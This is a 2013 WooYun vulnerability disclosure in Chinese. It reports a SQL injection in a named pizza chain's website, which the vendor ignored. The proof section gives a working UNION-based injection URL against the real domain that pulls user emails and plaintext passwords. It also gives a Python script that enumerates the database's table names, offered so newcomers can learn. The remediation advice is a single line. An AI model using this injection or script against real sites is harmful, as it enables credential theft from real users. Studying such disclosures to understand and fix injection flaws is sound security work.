当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
某披萨店网站存在SQL注入漏洞(密码明文)
相关厂商:
漏洞作者:
提交时间:
2013-07-23 10:26
修复时间:
2013-09-06 10:26
公开时间:
2013-09-06 10:26
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
10
漏洞状态:
未联系到厂商或者厂商积极忽略
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2013-07-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

晚上聚餐吃披萨 就去订了一下 闲的试了试 发现网站没有屏蔽SQL错误信息

详细说明:

晚上聚餐吃披萨 就去订了一下 闲的试了试 发现网站没有屏蔽SQL错误信息
不是什么大网站,纯粹是写个小例子吧,估计也联系不到厂商
利用的是union漏洞,我直接把代码写出来了,新人可以学习,里面主要写了如何利用union去查询表名称的
上午发现的,没有继续往下深入,好像屏蔽了单引号,暂时没想怎么绕过屏蔽

漏洞证明:

读取用户密码(明文)
http://www.papajohnschina.com/sh/news_detail.php?id=53%20union%20%28select%20null,null,binary%28CONCAT_WS%280x3A,%20email,%20password%29%29,null,null,null,null,null%20from%20tbluserinfo_old%20limit%2016,1%29limit%201,1
代码

# coding:utf-8
import urllib2, re
pattern = re.compile('<h5 class="font15"><span></span>\s*(\S+)\s*</h5>')
def tables():
print '-' * 50
for i in range(1, 100):
base = 'http://www.papajohnschina.com/sh/news_detail.php?id=53'
para_ = ' union select null,null,binary(table_name),null,null,null,null,null from information_schema.tables limit %s,1' % i
para = urllib2.quote(para_)
url = base + para
resp = urllib2.urlopen(url).read()
m = re.search(pattern, resp)
if m:
print m.group(1)
print '-' * 50

tables()


py.png


bro.png


pass.png

修复方案:

过滤 传参 去掉错误信息

版权声明:转载请注明来源 欧阳天天@乌云


>

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝